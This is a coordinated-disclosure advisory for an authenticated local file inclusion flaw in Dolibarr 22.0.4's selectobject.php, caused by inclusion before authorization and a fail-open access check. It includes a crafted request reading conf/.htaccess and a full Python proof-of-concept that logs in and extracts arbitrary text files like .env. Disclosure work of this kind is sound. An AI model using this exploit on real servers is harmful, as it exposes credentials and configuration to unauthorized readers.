CVE-2026-34036: Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php

Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure

Target

Dolibarr Core (Tested on version 22.0.4)

Summary

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).

Vulnerability Details

The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.

- Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the objectdesc parameter into a $classpath. If fetchObjectByElement fails (e.g., by providing a fake class like A:conf/.htaccess:0), the application falls back to dolincludeonce($classpath) at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions. - Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling restrictedArea(). Because the object creation failed, the $features parameter sent to restrictedArea() is empty (''). Inside security.lib.php, if the $features parameter is empty, the access check block is completely skipped, leaving the $readok variable at 1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.

This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.

Steps to Reproduce

- Log in to the Dolibarr instance with any user account (no specific permissions required). - Intercept or manually forge a GET request to the following endpoint:

GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0

- Observe the HTTP response. The contents of the conf/.htaccess file will be reflected in the response body right before the PHP Fatal Error message. - (Optional) Run the attached Python PoC to automate the extraction:

python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess

Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

Suggested Mitigation

- Input Validation & Whitelisting: The $classpath must be strictly validated or whitelisted before being passed to dolincludeonce(). - Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified. - Enforce Fail-Secure ACLs: Modify restrictedArea() in core/lib/security.lib.php so that if the $features parameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.

Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards, Vincent KHAYAT (cnf409)

Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

PoC Script

python #!/usr/bin/env python3 """Dolibarr selectobject.php authenticated LFI PoC"""

import argparse import html import re import urllib.error import urllib.parse import urllib.request from http.cookiejar import CookieJar

LOGINMARKERS = ("Login @", "Identifiant @") LOGOUTMARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request( opener, baseurl, method, path, params=None, data=None, timeout=15 ): url = f"{baseurl.rstrip('/')}{path}" if params: url = f"{url}?{urllib.parse.urlencode(params)}" payload = urllib.parse.urlencode(data).encode("utf-8") if data else None req = urllib.request.Request(url, method=method.upper(), data=payload) req.addheader("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr") req.addheader("Accept", "text/html,application/xhtml+xml") try: with opener.open(req, timeout=timeout) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") except urllib.error.HTTPError as err: return err.code, err.read().decode("utf-8", errors="replace")

def extractlogintoken(page): for pattern in ( r'name=["\']token["\']\s+value="\'["\']', r'name=["\']anti-csrf-newtoken["\']\s+content="\'["\']', ): match = re.search(pattern, page, flags=re.IGNORECASE) if match: return match.group(1) return ""

def looksauthenticated(body): return any(marker in body for marker in LOGOUTMARKERS)

def cleanincludedoutput(body): for marker in ( "<br />\n<b>Warning", "<br />\r\n<b>Warning", "<br />\n<b>Fatal error", "<br />\r\n<b>Fatal error", ): pos = body.find(marker) if pos != -1: return body[:pos].rstrip() return body.rstrip()

def login(opener, baseurl, username, password): code, loginpage = request(opener, baseurl, "GET", "/") if code >= 400: return False, f"HTTP {code} on login page" token = extractlogintoken(loginpage) code, afterlogin = request( opener, baseurl, "POST", "/index.php?mainmenu=home", data={ "token": token, "actionlogin": "login", "loginfunction": "loginfunction", "username": username, "password": password, }, ) if code >= 400: return False, f"HTTP {code} on login request" if looksauthenticated(afterlogin): return True, "" code, home = request(opener, baseurl, "GET", "/index.php?mainmenu=home") if code < 400 and looksauthenticated(home): return True, "" return False, "Invalid username or password"

def readfile(opener, baseurl, relativepath): status, body = request( opener, baseurl, "GET", "/core/ajax/selectobject.php", params={ "outjson": "0", "htmlname": "x", "objectdesc": f"A:{relativepath}:0", }, ) if any(marker in body for marker in LOGINMARKERS) and not looksauthenticated(body): raise RuntimeError("Session expired or not authenticated") return status, body, cleanincludedoutput(body)

def parseargs(): parser = argparse.ArgumentParser( description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)." ) parser.addargument( "--url", default="http://127.0.0.1:8080", help="Dolibarr base URL (default: http://127.0.0.1:8080)", ) parser.addargument("--username", required=True, help="Dolibarr username") parser.addargument("--password", required=True, help="Dolibarr password") parser.addargument( "--file", dest="targetfile", required=True, help="Target file to read (e.g. conf/.htaccess).", ) return parser.parseargs()

def printresult(path, status, raw, clean): print(f"\n[+] HTTP status: {status}") print(f"[+] Requested file: {path}") print("=" 80) if clean: print(html.unescape(clean)) else: print("(No readable output extracted)") print("=" 80) if clean != raw.rstrip(): print("[i] PHP warnings/fatal output were trimmed from display.")

def summarizeerrorbody(body, limit=1200): text = html.unescape(body).strip() if not text: return "(Empty response body)" if len(text) > limit: return text[:limit].rstrip() + "\n... [truncated]" return text

def main(): args = parseargs() opener = urllib.request.buildopener( urllib.request.HTTPCookieProcessor(CookieJar()) ) ok, reason = login(opener, args.url, args.username, args.password) if not ok: print(f"[!] {reason}") return 1 print("[+] Login successful.") try: status, raw, clean = readfile(opener, args.url, args.targetfile) if status >= 400: print(f"[!] HTTP {status} while reading target file.") print("=" 80) print(summarizeerrorbody(raw)) print("=" 80) return 1 printresult(args.targetfile, status, raw, clean) return 0 except Exception as exc: print(f"[!] Error: {exc}") return 1

if name == "main": try: raise SystemExit(main()) except KeyboardInterrupt: print("\nInterrupted.") raise SystemExit(130)